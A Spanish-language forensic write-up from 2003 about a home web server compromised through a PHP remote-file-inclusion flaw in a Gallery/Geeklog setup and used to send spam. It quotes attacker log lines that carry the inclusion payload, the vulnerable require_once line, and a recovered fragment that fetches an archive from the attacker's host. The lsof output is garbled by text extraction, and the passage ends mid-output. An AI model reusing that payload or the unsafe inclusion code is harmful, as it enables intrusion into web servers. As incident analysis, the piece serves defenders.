PDF de programación - La Rebelión de los spammers

La Rebelión de los spammers

David Barroso Berrueta

September, 26th 2003

1. La rebelión de los spammers

La gente que envía spam cada día es más inteligente, y a la vez difícil de detectar, que en mi opinión, es algo
extraño, puesto que una persona inteligente es suficientemente lista para no molestar a millones de personas.
Entonces, ¿por qué estas personas continúan ayudando a compañías y personas poco éticas que envían estos
correos no solicitados? La razón debería ser simple y muy común estos días: dinero.

Pero no voy a hablar sobre los motivos de la comunidad spam para mandar millones de correos sin sentido
contando como conseguir una buena hipoteca, incrementar la longitud de mi cuerpo o cómo hacer negocios con
un príncipe de África. Esta es la historia de cómo uno de los servidores que tengo en mi casa fue comprometido
y usado para envíos masivos de spam en un entorno que nunca he visto (pero era probable que sucediera).

1.1. La intrusión

Un día me dí cuenta que uno de mis servidores remoto estaba enviando 24 horas al día una continua corriente de
11Kbytes, usando el 100% del ancho de banda de subida (128Kbits). Este servidor tiene ejecutándose al servidor
Apache y también actúa como servidor de correo, pero no existe ninguna otra aplicación que pudiera mandar
tanto tráfico durante un día entero. Así que, inmediatamente entré en la máquina remota para saber qué estaba
pasando, pensando que mi máquina estaba participando en algún ataque DDoS, pero estaba equivocado. Un
simple listado de procesos (ps -ef) me abriría los ojos:

www-data 29990
-c /tmp/abchy6/httpd.conf

1

0 Aug21 ?

00:00:04 /tmp/abchy6/httpd

Había exactamente 106 procesos como el de arriba corriendo en mi máquina. Simplemente al mirar al directorio
del proceso todas mis alarmas saltaron. Más aún cuando descubrí que el directorio ’/tmp/abchy6’ no existía en la
máquina. El usuario dueño del proceso sería la clave para conocer el origen del proceso, porque sólo el servidor
Apache se ejecuta como este usuario. El log de acceso del servidor Apache confirmó que esta fue la puerta de
entrada del atacante:

www.mysite.com-access.log.1:216.93.171.130 - - [21/Aug/2003:18:45:02 +0200]
"GET http://www.mysite.com/gallery/classes/geeklog/User.php?GEEKLOG_DIR=
http://www.4goofs.com/sftb/ HTTP/1.0" 200 764 "-" "-"
www.mysite.com-access.log.1:216.93.171.130 - - [21/Aug/2003:18:50:13 +0200]
"GET http://www.mysite.com/gallery/classes/geeklog/User.php?GEEKLOG_DIR=
http://www.4goofs.com/sftb/ HTTP/1.0" 200 764 "-" "-"

1

Esta dirección ip pertenece a ServePath, de San Francisco, USA. La información en ARIN es la siguiente:

La rebelión de los spammers

ServePath, LLC
SERVEP
650 Townsend Street
Suite 252
San Francisco

OrgName:
OrgID:
Address:
Address:
City:
StateProv: CA
PostalCode: 94103
Country:

US

216.93.160.0 - 216.93.191.255
216.93.160.0/19
SERVEPATH

NetRange:
CIDR:
NetName:
NetHandle: NET-216-93-160-0-1
Parent:
NetType:
NameServer: NS.SERVEPATH.COM
NameServer: NS1.SERVEPATH.COM
Comment:
RegDate:
Updated:

NET-216-0-0-0-0
Direct Allocation

2002-11-15
2003-04-10

NOCHandle: SN458-ARIN
NOCName:
NOCPhone: +1-415-252-3600
NOCEmail: [email protected]

NOC, ServePath, ServePath

OrgTechHandle: SN458-ARIN
OrgTechName:
OrgTechPhone: +1-415-252-3600
OrgTechEmail: [email protected]

NOC, ServePath, ServePath

# ARIN WHOIS database, last updated 2003-09-05 19:15
# Enter ? for additional hints on searching ARIN’s WHOIS database.

Comprobemos con la última versión de p0f (http://lcamtuf.coredump.cx/p0f/) qué Sistema Operativo es esa
dirección ip. p0f es una herramienta para reconocimiento pasivo de SO, que intenta adivinar un Sistema
Operativo dependiendo de sus características, como puede ser su TTL, tamaño de ventana TCP, ...

p0f - passive os fingerprinting utility, version 2.0-beta
(C) M. Zalewski <[email protected]>, W. Stearns <[email protected]>
p0f: listening on ’/home/tomac/ih/snap216.93.171.30.pcap’, 110 fingerprints, rule: ’any’.
216.93.171.130:1358 - FreeBSD 4.6-4.8 (up: 908 hrs)
-> x.x.x.x:80 (distance 22, link: ethernet/modem)
216.93.171.130:1549 - FreeBSD 4.6-4.8 (up: 908 hrs)
-> x.x.x.x:80 (distance 22, link: ethernet/modem)
216.93.171.130:2227 - FreeBSD 4.6-4.8 (up: 909 hrs)
-> x.x.x.x:80 (distance 22, link: ethernet/modem)

Así que la máquina originante del ataque parece que tiene FreeBSD 4.6-4.8, y lleva encendida unas 909 horas.

2

La rebelión de los spammers

Hmm.. gallery (http://gallery.menalto.com) es una serie de scripts de php para poder tener múltiples albumes de
fotos con muchas características interesantes, y geeklog (http://www.geeklog.net) es otra serie de scripts php para
mantener un weblog público para una comunidad. Yo tenía instalados y configurados los dos, y había integrado
gallery en geeklog siguiendo un procedimiento descrito en otra página de geeklog, así que no era una instalación
por defecto. Era hora de comprobar la variable sospechosa ’GEEKLOG_DIR’ en el archivo User.php:

require_once($GEEKLOG_DIR . ’/lib-common.php’);

Así que eso es. El script php no inicializa debidamente la variable y así puede ser modificada en el HTTP GET.
Además, la sentencia ’require_once’ incluye y evalúa el archivo especificado durante la ejecución del script.
Siendo lo curioso que soy, intenté descargar el fichero ’http://www.4goofs.com/sftb/lib-common.php’, pero el
fichero no existía en el servidor, puesto que recibí un ’301 Moved Permanently’ y luego un ’302 Found’, pero era
el fichero not_found.html, la página de error por defecto, lo cuál me pareció un poco raro.

Pero todavía no sabía nada sobre la misteriosa corriente de bytes que salía de mi máquina. Al ejecutar tcpdump
en la máquina remota, me dí cuenta que estaba mandado varios cientos de correos por minuto. Y todos ellos eran
spam. Tenía cientos de diferentes conexiones TCP a un montón de servidores de correo diferentes (puerto TCP
25), enviando correos con <[email protected]> como el remitente real, y
<[email protected]> como el remitente ficticio. Inmediatamente comprobé el log de mi servidor de
correo, buscando alguna pista, e incluso comprobé que mi servidor de correo no era un ’open relay’, solamente
para estar seguro. Pero no encontré nada, los logs eran normales; así que, esos extraños procesos podrían estar
relacionados con el envío masivo de spam.

¿Qué estaban haciendo exactamente estos procesos? Se podía encontrar una respuesta en el directorio /proc.
Hay una entrada en este directorio para cada proceso que se ejecuta, describiendo detalles interesantes sobre los
procesos, como que descriptores de fichero tienen abiertos, las variables de entorno, el directorio desde el cual se
ejecutaron, cómo se ejecutaron, un enlace simbólico a la imagen del proceso corriendo en memoria, etc. Y esto
fue lo que encontré:

cwd -> /var/www/geeklog/public_html/gallery/classes/geeklog
exe -> /tmp/upxCEIBRRYA2VC (deleted)
cmdline: /tmp/abchy6/httpd -c /tmp/abchy6/httpd.conf

La razón para el nombre extraño upxCEIBRRYA2VC es porque el binario ha sido comprimido usando UPX
(http://upx.sourceforge.net), que es una herramienta excelente para comprimir binarios ejecutables. Al ejecutarse,
automáticamente se descomprime en un fichero temporal para poder ejecutarse normalmente. Incluso comprobé
con otra herramienta excelente, lsof cada dispositivo, descriptor de fichero o socket abierto por el proceso:

TYPE
DIR

DIR
REG

FD
cwd

rtd
txt

mem
mem
mem

5304 www-data
5304 www-data

PID

USER
5304 www-data

COMMAND
4
public_html/gallery/classes/geeklog
4
4
(deleted)
4
4
4
4
4
4
4
4
4
(deleted)

5304 www-data
5304 www-data
5304 www-data
5304 www-data
5304 www-data
5304 www-data
5304 www-data
5304 www-data
5304 www-data

REG
REG
REG
CHR
0w
CHR
1w
2w
CHR
3u sock
4r FIFO
5u
REG

DEVICE
3,1

SIZE
4096

NODE NAME

223753 /var/www/geeklog/

3,1
4096
3,1 1846603

90210
3,1
3,1
102172
3,1 1153784
1,3
1,3
1,3
0,0
0,5
3,1

0

2 /

128114 /tmp/upxCEIBRRYA2VC

191311 /lib/ld-2.2.5.so
193769 /lib/libpthread-0.9.so
193753 /lib/libc-2.2.5.so
191284 /dev/null
191284 /dev/null
191284 /dev/null

8394579 can’t identify protocol
8394882 pipe

127548 /tmp/session_mm_apache0.sem

3

6u

REG

3,1

5304 www-data

5304 www-data
5304 www-data
5304 www-data
5304 www-data
5304 www-data
5304 www-data

1,3
7w
CHR
0,5
8w FIFO
1,3
9w
CHR
0,5
10r FIFO
11w FIFO
0,5
12u IPv4 13016572

4
(deleted)
4
4
4
4
4
4
->mx2.bm.vip.sc5.yahoo.com:smtp (ESTABLISHED)
4
->mail.mysam.it:smtp (ESTABLISHED)
4
->wf4.dnsvr.com:smtp (ESTABLISHED)
4
error.log.1
4

13u IPv4 13016573

5304 www-data

14u IPv4 13016574

5304 www-data

20u IPv4

5304 www-data

15w

REG

5304 www-data

La rebelión de los spammers

0

128220 /tmp/session_mm_apache0.sem

191284 /dev/null

8394882 pipe

191284 /dev/null

8394883 pipe
8394883 pipe

TCP mysite.com:52153

TCP mysite.com:55530

TCP mysite.com:51286

6948

256374 /var/log/apache/

TCP *:www (LISTEN)

3,1

1008

(...) (otras 96 conexiones smtp)

Vaya, no solo manda mucho spam, sino que incluso se integra de algún modo en el demonio Apache, y utiliza
hilos para mandar correo en paralelo. Entonces intenté agregar otra herramienta llamada ptrace al proceso, que
me permitiría conocer algo más sobre el proceso (llamadas al sistema, descriptores de fichero, ...) en tiempo real,
pero el proceso murió cuando intenté agregar la herramienta.

Bueno, todavía tenía un montón de detalles que investigar. Intenté recuperar el fichero borrado
/tmp/abchy6/httpd.conf, buscando más detalles sobre el proceso, pero no pudo ser recuperado usando
TASK (http://www.sleuthkit.org), que es una herramienta para análisis forense. Buscando con TASK en el disco
duro algunas cadenas de texto específicas, encontré un bloque no asignado con el siguiente contenido:

cat: /tmp/sess_d68fb641e4e2ddb73c461a25e2039d2e: No such file or directory
kill: usage: kill [-s sigspec | -n signum | -sigspec] [pid | job]... or kill -l [sigspec]
sh: fetch: command not found
--18:45:58-- http://4goofs.com/ad13/archive.tgz

=> ‘/tmp/abchy6/archive.tgz’

Resolving